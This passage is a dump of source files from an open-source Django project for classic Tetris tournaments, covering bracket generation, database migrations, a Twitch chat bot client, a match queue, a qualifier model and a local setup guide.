\"seed\", \"seed\": seed1 }\n else:\n match1 = self._generate_match_data(seed1, player_count * 2, depth + 1)\n match2 = self._generate_match_data(seed2, player_count * 2, depth + 1)\n return {\n \"type\": \"match\",\n \"children\": [match1, match2],\n \"color\": self.match_color(highest_seed, depth)\n }\n\n def match_color(self, highest_seed, depth):\n if self.tournament.seed_count >= 64:\n if depth == 4:\n return BRACKET_COLORS[highest_seed]\n else:\n if depth == 2:\n return BRACKET_COLORS[highest_seed]\n\n\nclass DoubleElimination(BracketGenerator):\n def _generate_matches(self):\n winners_bracket = SingleElimination(self.tournament)._generate_match_data(1, 2)\n losers_bracket = self._generate_losers_bracket(winners_bracket, winners_bracket)\n\n match_number, round_number = self._annotate_matches([winners_bracket], [losers_bracket])\n root = {\n \"type\": \"match\",\n \"children\": [winners_bracket, losers_bracket],\n \"match_number\": match_number,\n \"round_number\": round_number\n }\n\n self._create_match(root)\n\n # returns type, data\n def _create_match(self, match_data):\n if match_data[\"type\"] == \"seed\":\n return TournamentMatch.PlayerSource.SEED, match_data[\"seed\"]\n elif match_data[\"type\"] == \"loser\":\n return TournamentMatch.PlayerSource.MATCH_LOSER, match_data[\"source_match\"]\n elif match_data[\"type\"] == \"match\":\n match = TournamentMatch(\n tournament=self.tournament,\n match_number=match_data[\"match_number\"],\n round_number=match_data[\"round_number\"],\n color=match_data.get(\"color\"),\n )\n\n match.source1_type, match.source1_data = self._create_match(match_data[\"children\"][0])\n match.source2_type, match.source2_data = self._create_match(match_data[\"children\"][1])\n match.save()\n\n return TournamentMatch.PlayerSource.MATCH_WINNER, match.match_number\n\n def _annotate_matches(self, winners_matches, losers_matches):\n winners_matches = [match for match in winners_matches if match[\"type\"] == \"match\"]\n if not winners_matches:\n return 1, 1\n\n losers_matches = [match for match in losers_matches if match[\"type\"] == \"match\"]\n losers_pre_matches = [match for match in itertools.chain.from_iterable(\n match.get(\"children\", []) for match in losers_matches if match[\"type\"] == \"match\"\n ) if match[\"type\"] == \"match\"]\n\n next_winners_matches = list(itertools.chain.from_iterable(\n match.get(\"children\", []) for match in winners_matches if match[\"type\"] == \"match\"\n ))\n next_losers_matches = list(itertools.chain.from_iterable(\n match.get(\"children\", []) for match in losers_pre_matches if match[\"type\"] == \"match\"\n ))\n match_number, round_number = self._annotate_matches(next_winners_matches,\n next_losers_matches)\n\n for match in losers_pre_matches:\n match[\"match_number\"] = match_number\n match[\"round_number\"] = round_number\n match_number += 1\n\n for match in winners_matches:\n match[\"match_number\"] = match_number\n match[\"round_number\"] = round_number\n match_number += 1\n\n for match in losers_matches:\n match[\"match_number\"] = match_number\n match[\"round_number\"] = round_number\n match_number += 1\n\n for match in (losers_pre_matches + losers_matches):\n self._resolve_sources(match, winners_matches)\n\n return match_number, round_number + 1\n\n def _resolve_sources(self, match, winners_matches):\n if match[\"type\"] != \"match\":\n return\n\n for child in match[\"children\"]:\n if child[\"type\"] == \"loser\":\n child[\"source_match\"] = child[\"source\"][\"match_number\"]\n del child[\"source\"]\n\n def _generate_losers_bracket(self, winners_bracket1, winners_bracket2):\n if winners_bracket1[\"type\"] == \"match\":\n loser = { \"type\": \"loser\", \"source\": winners_bracket1}\n\n sub1 = None\n sub2 = None\n if winners_bracket1 == winners_bracket2:\n sub1 = self._generate_losers_bracket(winners_bracket1[\"children\"][1],\n winners_bracket1[\"children\"][0])\n sub2 = self._generate_losers_bracket(winners_bracket1[\"children\"][0],\n winners_bracket1[\"children\"][1])\n if self.bracket_depth(winners_bracket1) % 2 == 0:\n sub1, sub2 = sub2, sub1\n elif winners_bracket1[\"type\"] == \"match\" and winners_bracket2[\"type\"] == \"match\":\n sub1 = self._generate_losers_bracket(winners_bracket2[\"children\"][0],\n winners_bracket1[\"children\"][0])\n sub2 = self._generate_losers_bracket(winners_bracket2[\"children\"][1],\n winners_bracket1[\"children\"][1])\n\n if sub1 and sub2:\n return { \"type\": \"match\", \"children\": [\n loser,\n { \"type\": \"match\", \"children\": [sub1, sub2] }\n ] }\n elif sub1 or sub2:\n return { \"type\": \"match\", \"children\": [loser, (sub1 or sub2)] }\n else:\n return loser\n else:\n return None\n\n def bracket_depth(self, match_data):\n if match_data[\"type\"] == \"match\":\n return max(self.bracket_depth(child) for child in match_data[\"children\"]) + 1\n else:\n return 0\n" }, { "alpha_fraction": 0.8640776872634888, "alphanum_fraction": 0.8737863898277283, "avg_line_length": 37.625, "blob_id": "7f736a1296ac8ab9c1179e351a0c166861ad144f", "content_id": "b9d123fd9e13e9e0d7c2078470cd0981fdd47676", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 309, "license_type": "permissive", "max_line_length": 74, "num_lines": 8, "path": "/classic_tetris_project/models/custom_redirect.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.http import HttpResponseRedirect\nfrom django.contrib.redirects.middleware import RedirectFallbackMiddleware\n\nclass HttpResponseTemporaryRedirect(HttpResponseRedirect):\n status_code = 307\n\nclass CustomRedirect(RedirectFallbackMiddleware):\n response_redirect_class = HttpResponseTemporaryRedirect\n" }, { "alpha_fraction": 0.6670761704444885, "alphanum_fraction": 0.6916462182998657, "avg_line_length": 32.91666793823242, "blob_id": "4997b53226c73094db0cf439e9bf53012e6f9fdb", "content_id": "f995d57784910287d8b971062006a73d585e662a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 814, "license_type": "permissive", "max_line_length": 175, "num_lines": 24, "path": "/classic_tetris_project/migrations/0067_event_withdrawals_allowed.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-05-01 07:20\n\nfrom django.db import migrations, models\n\n\ndef backfill_withdrawals_allowed(apps, schema_editor):\n Event = apps.get_model(\"classic_tetris_project\", \"Event\")\n Event.objects.update(withdrawals_allowed=models.F(\"qualifying_open\"))\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0066_match_synced_at'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='withdrawals_allowed',\n field=models.BooleanField(default=True, help_text='Controls whether users can withdraw their own qualifiers. Automatically disabled when tournaments are seeded.'),\n ),\n migrations.RunPython(backfill_withdrawals_allowed, migrations.RunPython.noop),\n ]\n" }, { "alpha_fraction": 0.5328719615936279, "alphanum_fraction": 0.5709342360496521, "avg_line_length": 32.346153259277344, "blob_id": "6a069733a6d57f0917573cab6173ca835b503ee1", "content_id": "a3398f1de3f2d629d7e0fafd4aeef6d3f2621eec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 867, "license_type": "permissive", "max_line_length": 114, "num_lines": 26, "path": "/classic_tetris_project/migrations/0030_page.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2020-12-06 08:40\n\nfrom django.db import migrations, models\nimport markdownx.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0029_auto_20201205_1921'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Page',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=64)),\n ('slug', models.SlugField()),\n ('public', models.BooleanField(default=False)),\n ('content', markdownx.models.MarkdownxField()),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('updated_at', models.DateTimeField(auto_now=True)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6875420808792114, "alphanum_fraction": 0.7057238817214966, "avg_line_length": 39.135135650634766, "blob_id": "9d58e2c37087fba6b0c9a7912f217366b1b90a76", "content_id": "aa34441ffeb9d0939d0f6e8cbc8ca8eae521383c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1485, "license_type": "permissive", "max_line_length": 176, "num_lines": 37, "path": "/docs/SETUP_WEB.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Web Setup\n\n1. Follow SETUP_QUICK.md\n2. Install the `private` submodule\n3. Map `dev.monthlytetris.info` to `127.0.0.1` in your `/etc/hosts` file or equivalent\n4. Install and run postgresql (through [https://www.postgresql.org/download/](https://www.postgresql.org/download/) or a package manager)\n5. Install and run redis (through [https://redis.io/download](https://redis.io/download) or a package manager)\n6. Install Python bindings for postgres:\n ```\n pip install -r requirements_prod.txt\n ```\n7. Run tests and ensure they pass:\n ```\n pytest\n ```\n You should see tests being run in both `classic_tetris_project/tests/` and `classic_tetris_project/private/tests/`.\n8. In your `.env` file, uncomment or add the following line:\n ```\n DATABASE_URL=\"postgres:///tetris\"\n ```\n9. Install a database dump from production\n - Get a dump from dexfore\n - Run `script/restore_dump.sh path/to/file.dump`\n - If you don't already have access to a superuser account:\n ```\n python manage.py createsuperuser\n ```\n This will create a superuser account; you can log in with these credentials later at http://dev.monthlytetris.info:8000/admin/ and give your own user superuser privileges.\n10. Install Node packages:\n ```\n npm install\n ```\n11. Run the server:\n - Webpack dev server (w/ file listener): `npm start`\n - Django server: `python manage.py runserver`\n\n You should now be able to access the web server at http://dev.monthlytetris.info:8000/\n" }, { "alpha_fraction": 0.5794807076454163, "alphanum_fraction": 0.5997467041015625, "avg_line_length": 44.11428451538086, "blob_id": "9d9eeebed47742e18697eb13f0b45bb9583cf604", "content_id": "6e747d99630f9a00936416d842ffe43c45ea9ca6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1579, "license_type": "permissive", "max_line_length": 180, "num_lines": 35, "path": "/classic_tetris_project/migrations/0021_scorepb.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-04-07 04:04\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0020_auto_20200420_2028'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='ScorePB',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('score', models.IntegerField(blank=True, null=True)),\n ('lines', models.IntegerField(blank=True, null=True)),\n ('starting_level', models.IntegerField(blank=True, null=True)),\n ('console_type', models.CharField(choices=[('ntsc', 'NTSC'), ('pal', 'PAL')], default='ntsc', max_length=5)),\n ('current', models.IntegerField()),\n ('created_at', models.DateTimeField(blank=True)),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='score_pbs', related_query_name='score_pb', to='classic_tetris_project.User')),\n ],\n ),\n migrations.AddIndex(\n model_name='scorepb',\n index=models.Index(condition=models.Q(current=True), fields=['user', 'current'], name='user_current'),\n ),\n migrations.AddConstraint(\n model_name='scorepb',\n constraint=models.UniqueConstraint(condition=models.Q(current=True), fields=('user', 'starting_level', 'console_type'), name='unique_when_current'),\n ),\n ]\n" }, { "alpha_fraction": 0.5546751022338867, "alphanum_fraction": 0.6038035154342651, "avg_line_length": 27.68181800842285, "blob_id": "0ab192df2a84ef0db5bf827f84ce3bf5bf9ab42b", "content_id": "24fc0521e926764cdd55fbaaf53c91b5c54a79e5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 631, "license_type": "permissive", "max_line_length": 143, "num_lines": 22, "path": "/classic_tetris_project/migrations/0057_auto_20220104_0251.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2022-01-04 02:51\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0056_auto_20211231_0727'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='tournamentmatch',\n options={'permissions': [('restream', 'Can schedule and report restreamed matches')], 'verbose_name_plural': 'tournament matches'},\n ),\n migrations.AddField(\n model_name='match',\n name='vod',\n field=models.URLField(blank=True, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6086122393608093, "alphanum_fraction": 0.6111311316490173, "avg_line_length": 32.347999572753906, "blob_id": "4eb95cbfcb476d174f19d93b094c23a931b3f7fc", "content_id": "177196f0e0ed8c9f6025fd62e6df721f61c162d7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8337, "license_type": "permissive", "max_line_length": 111, "num_lines": 250, "path": "/classic_tetris_project/twitch.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import irc.client\nimport logging\nimport re\nimport requests\nimport time\nfrom django.core.cache import cache\nfrom threading import Thread\n\nfrom .env import env\n\nTWITCH_API = \"https://api.twitch.tv/helix\"\nTWITCH_OAUTH_API = \"https://id.twitch.tv/oauth2\"\nTWITCH_MESSAGING_API = \"https://tmi.twitch.tv\"\nTWITCH_SERVER = \"irc.chat.twitch.tv\"\nTWITCH_PORT = 6667\n\nlogger = logging.getLogger(\"twitch-bot\")\n\nclass APIClient:\n def __init__(self, client_id, client_secret):\n self.client_id = client_id\n self.token_manager = TokenManager(client_id, client_secret)\n\n def default_headers(self):\n token = self.token_manager.get()\n return {\n \"Client-ID\": self.client_id,\n \"Authorization\": f\"Bearer {token}\"\n }\n\n def _request(self, endpoint, params={}, headers={}, api=TWITCH_API):\n headers = { **self.default_headers(), **headers }\n response = requests.get(f\"{api}/{endpoint}\", params=params, headers=headers)\n return response.json()\n\n def user(self, client=None, **user_params):\n params = {}\n\n if (\"login\" in user_params):\n params[\"login\"] = user_params[\"login\"]\n if (\"id\" in user_params):\n params[\"id\"] = user_params[\"id\"]\n\n response = self._request(\"users\", params)\n\n if \"error\" in response:\n return None\n elif response[\"data\"]:\n user_obj = response[\"data\"][0]\n return self.wrap_user_dict(user_obj, client)\n\n def user_from_username(self, username=None, client=None):\n return self.user(client, login=username)\n\n def user_from_id(self, user_id, client=None):\n return self.user(client, id=user_id)\n\n def own_user(self, token, client=None):\n response = self._request(\"users\", headers={ \"Authorization\": f\"Bearer {token}\" })\n if \"error\" in response:\n return None\n elif response[\"data\"]:\n user_obj = response[\"data\"][0]\n return self.wrap_user_dict(user_obj, client)\n\n def usernames_in_channel(self, channel):\n response = self._request(f\"group/user/{channel}/chatters\", api=TWITCH_MESSAGING_API)\n return sum((group for group in response[\"chatters\"].values()), [])\n\n def wrap_user_dict(self, user_dict, client=None):\n return User(\n client=client,\n username=user_dict[\"login\"],\n id=user_dict[\"id\"],\n display_name=user_dict[\"display_name\"],\n tags=user_dict\n )\n\n\n# Fetches, stores, and renews an app access token as described in\n# https://dev.twitch.tv/docs/authentication/getting-tokens-oauth#oauth-client-credentials-flow\n\n# TODO Much of this can probably be done through authlib:\n# https://docs.authlib.org/en/latest/client/frameworks.html#accessing-oauth-resources\nclass TokenManager:\n # Get a new token 24 hours before the current one expires\n EXPIRATION_BUFFER = 24 * 60 * 60\n\n def __init__(self, client_id, client_secret):\n self.client_id = client_id\n self.client_secret = client_secret\n\n def get(self):\n token = cache.get(\"twitch.oauth.app_access_token\")\n if token:\n return token\n else:\n return self.create_token()\n\n def create_token(self):\n response = requests.post(f\"{TWITCH_OAUTH_API}/token\", params={\n \"client_id\": self.client_id,\n \"client_secret\": self.client_secret,\n \"grant_type\": \"client_credentials\",\n })\n data = response.json()\n if \"access_token\" not in data:\n raise Exception(str(data[\"message\"]) or \"oauth failed\")\n\n token = data[\"access_token\"]\n expires_in = int(data[\"expires_in\"])\n self.store(token, expires_in)\n return token\n\n def store(self, token, expires_in):\n cache.set(\"twitch.oauth.app_access_token\", token, timeout=expires_in - TokenManager.EXPIRATION_BUFFER)\n\n\n# IRC client wrapper for interacting with Twitch chat\nclass Client:\n def __init__(self, username, token, default_channels=[]):\n self.username = username\n self.token = token\n self.default_channels = default_channels\n self.reactor = irc.client.Reactor()\n self.connection = self.reactor.server()\n\n self.on_welcome(self.handle_welcome)\n\n def handle_welcome(self):\n self.connection.cap(\"REQ\", \":twitch.tv/tags\")\n self.connection.cap(\"REQ\", \":twitch.tv/commands\")\n\n Thread(target=self.join_channels).start()\n\n def start(self):\n self.user_obj = API.user_from_username(self.username, self)\n self.user_id = self.user_obj.id\n self.connection.connect(TWITCH_SERVER, TWITCH_PORT, self.username, self.token)\n self.reactor.process_forever()\n\n def on_welcome(self, handler):\n self.connection.add_global_handler(\"welcome\", lambda c, e: handler())\n\n def on_message(self, handler):\n self.connection.add_global_handler(\"pubmsg\", lambda c, e: self._handle_message(e, handler))\n self.connection.add_global_handler(\"whisper\", lambda c, e: self._handle_message(e, handler))\n return handler\n\n def _handle_message(self, event, handler):\n tags = { tag[\"key\"]: tag[\"value\"] for tag in event.tags }\n username = re.match(r\"\\w+!(\\w+)@[\\w.]+\", event.source)[1]\n author = User(self, username, tags[\"user-id\"], tags[\"display-name\"], tags)\n if event.type == \"pubmsg\":\n channel = PublicChannel(self, event.target[1:])\n elif event.type == \"whisper\":\n channel = Whisper(self, author)\n message = Message(event.arguments[0], author, channel)\n handler(message)\n\n def send_message(self, target, text):\n self.connection.privmsg(target, text)\n\n def get_user(self, user_id):\n return API.user_from_id(user_id, self)\n\n def get_channel(self, channel_name):\n return PublicChannel(self, channel_name)\n\n def join_channels(self):\n from .models import TwitchChannel\n channel_names = (self.default_channels +\n list(TwitchChannel.objects.filter(connected=True).values_list(\"twitch_user__username\",\n flat=True)))\n for channel in channel_names:\n self.join_channel(channel)\n # Band-aid to prevent Twitch from disconnecting the bot for joining too many channels at\n # once\n time.sleep(0.5)\n\n def join_channel(self, channel_name):\n logger.info(f\"Joining channel #{channel_name}\")\n self.connection.join(f\"#{channel_name}\")\n\n def leave_channel(self, channel_name):\n logger.info(f\"Leaving channel #{channel_name}\")\n self.connection.part(f\"#{channel_name}\")\n\n\nclass User:\n def __init__(self, client, username, id, display_name, tags={}):\n self.client = client\n self.username = username\n self.id = id\n self.display_name = display_name\n self.tags = tags\n\n @property\n def is_moderator(self):\n return self.tags.get(\"mod\") == \"1\"\n\n def send_message(self, message):\n if self.client is None:\n raise Exception(\"send_message called without client\")\n whisper = Whisper(self.client, self)\n whisper.send_message(message)\n\n\nclass Message:\n def __init__(self, content, author, channel):\n self.content = content\n self.author = author\n self.channel = channel\n\n\nclass Channel:\n def __init__(self, client):\n self.client = client\n\nclass PublicChannel(Channel):\n type = \"channel\"\n def __init__(self, client, name):\n super().__init__(client)\n self.name = name\n\n def send_message(self, message):\n self.client.send_message(f\"#{self.name}\", message)\n\nclass Whisper(Channel):\n type = \"whisper\"\n def __init__(self, client, author):\n super().__init__(client)\n self.author = author\n\n def send_message(self, message):\n self.client.send_message(\"#jtv\", f\"/w {self.author.username} {message}\")\n\n\n\nAPI = APIClient(\n env(\"TWITCH_CLIENT_ID\", default=\"\"),\n env(\"TWITCH_CLIENT_SECRET\", default=\"\")\n)\n\nif API.client_id != \"\":\n client = Client(\n env(\"TWITCH_USERNAME\", default=\"\"),\n f'oauth:{env(\"TWITCH_TOKEN\")}',\n default_channels=[env(\"TWITCH_USERNAME\", default=\"\")]\n )\n" }, { "alpha_fraction": 0.7333333492279053, "alphanum_fraction": 0.7333333492279053, "avg_line_length": 21.5, "blob_id": "5db403c9210c81bab3e7e6b1228f564259d54323", "content_id": "55d4b678153500ce69bd5c3c47786b0660a56f01", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 45, "license_type": "permissive", "max_line_length": 24, "num_lines": 2, "path": "/classic_tetris_project/util/__init__.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .constants import *\nfrom .memo import *\n" }, { "alpha_fraction": 0.5733445286750793, "alphanum_fraction": 0.5850796103477478, "avg_line_length": 24.11578941345215, "blob_id": "500eedde2c8dabd5298664c0b10d952bbaae9c16", "content_id": "47e06ad385610343d822e492881509b79b162c20", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2386, "license_type": "permissive", "max_line_length": 91, "num_lines": 95, "path": "/classic_tetris_project/queue.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.core.cache import cache\n\nfrom .models import TwitchUser, Match, Game\n\nQUEUE_TIMEOUT = 60 * 60 * 24\n\nclass Queue:\n def __init__(self, channel_name):\n self.channel_name = channel_name\n self.channel = TwitchUser.from_username(channel_name, True).get_or_create_channel()\n self._matches = []\n self._open = False\n\n @property\n def current_match(self):\n return self._matches[0] if self._matches else None\n\n def get_match(self, index):\n return self._matches[index - 1]\n\n def add_match(self, player1, player2):\n match = Match(player1=player1, player2=player2, channel=self.channel)\n match.save()\n\n self._matches.append(match)\n self.save()\n\n def insert_match(self, player1, player2, index):\n\n if len(self._matches) < index:\n self.add_match(player1, player2)\n return len(self)\n\n match = Match(player1=player1, player2=player2, channel=self.channel)\n match.save()\n\n self._matches.insert(index - 1, match)\n self.save()\n\n return index\n\n def move_match(self, old_index, new_index):\n match = self._matches.pop(old_index - 1)\n self._matches.insert(min(new_index - 1, len(self)), match)\n self.save()\n\n def remove_match(self, index):\n match = self._matches.pop(index - 1)\n match.delete()\n self.save()\n\n def end_match(self, ended_by):\n match = self._matches.pop(0)\n match.end(ended_by)\n self.save()\n\n def clear(self):\n for match in self._matches:\n match.delete()\n self._matches = []\n self.save()\n\n def save(self):\n cache.set(f\"queues.{self.channel_name}\", self, timeout=QUEUE_TIMEOUT)\n\n def open(self):\n self._open = True\n self.save()\n\n def close(self):\n self._open = False\n self.save()\n\n def declare_winner(self, winner, losing_score):\n self.current_match.add_game(winner, losing_score)\n self.save()\n\n def is_empty(self):\n return len(self._matches) == 0\n\n def is_open(self):\n return self._open\n\n @staticmethod\n def get(channel_name):\n return cache.get(f\"queues.{channel_name}\")\n\n def __len__(self):\n return len(self._matches)\n\n def __iter__(self):\n return iter(self._matches)\n\n def __bool__(self):\n return True\n" }, { "alpha_fraction": 0.5507824420928955, "alphanum_fraction": 0.5526235103607178, "avg_line_length": 38.74390411376953, "blob_id": "694df3af52b7b3547837b423faac369cd9329bf8", "content_id": "c2832cf414d4b27962eb3edd34ef88ab92cb9559", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3259, "license_type": "permissive", "max_line_length": 88, "num_lines": 82, "path": "/classic_tetris_project/commands/matches/match.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db.models import F, Max\nfrom django.db.models.functions import Abs\n\nfrom ..command import Command, CommandException\nfrom ...models import User\nfrom ... import twitch\n\[email protected]_twitch(\"match\",\n usage=\"match [user] [results=3]\")\nclass MatchCommand(Command):\n MIN_RESULTS = 3\n DEFAULT_RESULTS = 3\n MAX_RESULTS = 6\n def execute(self, target_name=None, num_results=None):\n self.check_public()\n target, num_results = self.parse_args(target_name, num_results)\n\n target_pb = target.user.get_pb(\"ntsc\")\n if not target_pb:\n raise CommandException(f\"{target.username} has not set a PB.\")\n\n closest_users = self.closest_users_with_pbs(target.user, target_pb, num_results)\n match_message = \"Closest matches for {username} ({pb:,}): {matches}\".format(\n username=target.username,\n pb=target_pb,\n matches=\", \".join(\n [f\"{user.twitch_user.username} ({pb:,})\" for user, pb in closest_users]\n )\n )\n self.send_message(match_message)\n\n def parse_args(self, target_name, num_results):\n if target_name is None: # No arguments were passed\n target = self.context.user.twitch_user\n num_results = self.DEFAULT_RESULTS\n\n elif num_results is None: # One argument was passed\n try:\n num_results = int(target_name)\n target = self.context.user.twitch_user\n except ValueError:\n target = self.twitch_user_from_username(target_name)\n num_results = self.DEFAULT_RESULTS\n\n else: # Two arguments were passed\n try:\n num_results = int(num_results)\n except ValueError:\n raise CommandException(\"Invalid arguments.\", send_usage=True)\n\n target = self.twitch_user_from_username(target_name)\n\n if not target:\n raise CommandException(\"That user doesn't exist.\")\n\n # Constraining num_results to range\n num_results = min(num_results, self.MAX_RESULTS)\n num_results = max(num_results, self.MIN_RESULTS)\n\n return (target, num_results)\n\n\n def closest_users_with_pbs(self, target_user, target_pb, n):\n # TODO: Handle PAL too?\n usernames = twitch.API.usernames_in_channel(self.context.channel.name)\n\n user_ids_with_pbs = (User.objects\n .filter(twitch_user__username__in=usernames,\n score_pb__current=True,\n score_pb__console_type=\"ntsc\")\n .values(\"id\")\n .annotate(pb=Max(\"score_pb__score\"))\n .exclude(pb=0)\n .exclude(id=target_user.id)\n .order_by(Abs(F(\"pb\") - target_pb).asc())\n )[:n]\n users = { user.id: user for user in list(\n User.objects.filter(id__in=[row[\"id\"] for row in user_ids_with_pbs])\n .select_related(\"twitch_user\")\n ) }\n return sorted([(users[row[\"id\"]], row[\"pb\"]) for row in user_ids_with_pbs],\n key=lambda row: row[1])\n" }, { "alpha_fraction": 0.5207756161689758, "alphanum_fraction": 0.5637118816375732, "avg_line_length": 24.785715103149414, "blob_id": "45c9a620166cb8bae7f91f1b221f4797cd996418", "content_id": "40f7d760eeb544956111d48b3e623782b5ea5c9e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 722, "license_type": "permissive", "max_line_length": 62, "num_lines": 28, "path": "/classic_tetris_project/migrations/0037_auto_20210201_0604.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-02-01 06:04\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0036_auto_20210201_0603'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='qualifier',\n name='qualifying_data',\n field=models.JSONField(null=True),\n ),\n migrations.AlterField(\n model_name='qualifier',\n name='qualifying_score',\n field=models.IntegerField(null=True),\n ),\n migrations.AlterField(\n model_name='qualifier',\n name='vod',\n field=models.URLField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6417304873466492, "alphanum_fraction": 0.6424064636230469, "avg_line_length": 33.944881439208984, "blob_id": "78642575005225ab2134d25d740dabe23f7e3463", "content_id": "401f8ccc6d3d8673c7288c6f4381a1fcfffc2e71", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4438, "license_type": "permissive", "max_line_length": 89, "num_lines": 127, "path": "/classic_tetris_project/models/qualifiers.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import models, transaction\nfrom django.db.models import signals\nfrom django.utils import timezone\nfrom django.utils.html import format_html\n\nfrom .. import tasks\nfrom .users import User\nfrom .events import Event\nfrom ..facades import qualifying_types\nfrom ..words import Words\nfrom ..util import lazy\n\n\nclass QualifierQuerySet(models.QuerySet):\n def pending_review(self):\n return self.filter(submitted=True, approved=None, withdrawn=False)\n\n def active(self):\n return self.filter(submitted=True, approved=True, withdrawn=False)\n\n def public(self):\n return self.filter(submitted=True, withdrawn=False).exclude(approved=False)\n\nclass Qualifier(models.Model):\n REVIEWER_CHECKS = [\n (\"stencil\", \"Stencil ready\"),\n (\"rom\", \"Unmodified ROM\"),\n (\"timer\", \"Timer on screen\"),\n (\"reset\", \"Hard reset before starting\"),\n (\"auth_word\", \"Entered correct auth word\"),\n (\"auth_word_score\", \"Auth word score over 10k\"),\n (\"correct_scores\", \"Submitted correct score(s)\"),\n ]\n\n user = models.ForeignKey(User, on_delete=models.PROTECT)\n event = models.ForeignKey(Event, related_name=\"qualifiers\", on_delete=models.CASCADE)\n auth_word = models.CharField(max_length=6)\n qualifying_type = models.IntegerField(choices=qualifying_types.CHOICES)\n qualifying_score = models.IntegerField(blank=True, null=True)\n qualifying_data = models.JSONField(blank=True, null=True)\n vod = models.URLField(blank=True, null=True)\n details = models.TextField(blank=True)\n created_at = models.DateTimeField(auto_now_add=True)\n submitted = models.BooleanField(default=False)\n submitted_at = models.DateTimeField(blank=True, null=True)\n\n approved = models.BooleanField(default=None, null=True)\n review_data = models.JSONField(default=dict)\n reviewed_at = models.DateTimeField(null=True)\n reviewed_by = models.ForeignKey(User, related_name=\"qualifiers_reviewed\",\n on_delete=models.SET_NULL, null=True)\n withdrawn = models.BooleanField(default=False)\n\n\n objects = QualifierQuerySet.as_manager()\n\n class Meta:\n constraints = [\n models.UniqueConstraint(fields=[\"event\", \"user\"],\n name=\"unique_event_user\"),\n ]\n\n\n def review(self, approved, reviewed_by, checks, notes):\n self.approved = approved\n self.reviewed_by = reviewed_by\n self.reviewed_at = timezone.now()\n self.review_data = {\n \"checks\": checks,\n \"notes\": notes,\n }\n self.save()\n self.report_reviewed()\n\n @lazy\n def type(self):\n return qualifying_types.QUALIFYING_TYPES[self.qualifying_type](self)\n\n @lazy\n def tournament(self):\n if hasattr(self, \"tournament_player\"):\n return self.tournament_player.tournament\n\n def status_tag(self):\n # Move this somewhere better in the future\n def render_tag(text, style):\n return format_html(\n \"<span class='status-tag status-tag--{}'>{}</span>\",\n style,\n text\n )\n\n if self.withdrawn:\n return render_tag(\"Withdrawn\", \"gray\")\n elif not self.submitted:\n return render_tag(\"Not Submitted\", \"gray\")\n elif self.approved == True:\n return render_tag(\"Approved\", \"green\")\n elif self.approved == False:\n return render_tag(\"Rejected\", \"red\")\n else:\n return render_tag(\"Pending Review\", \"gray\")\n\n def display_score(self):\n if self.qualifying_score:\n return self.type.format_score()\n\n @staticmethod\n def before_save(sender, instance, **kwargs):\n if not instance.auth_word:\n instance.auth_word = Words.get_word()\n if not instance.qualifying_type:\n instance.qualifying_type = instance.event.qualifying_type\n\n def report_started(self):\n transaction.on_commit(lambda: tasks.announce_qualifier.delay(self.id))\n\n def report_submitted(self):\n transaction.on_commit(lambda: tasks.report_submitted_qualifier.delay(self.id))\n\n def report_reviewed(self):\n 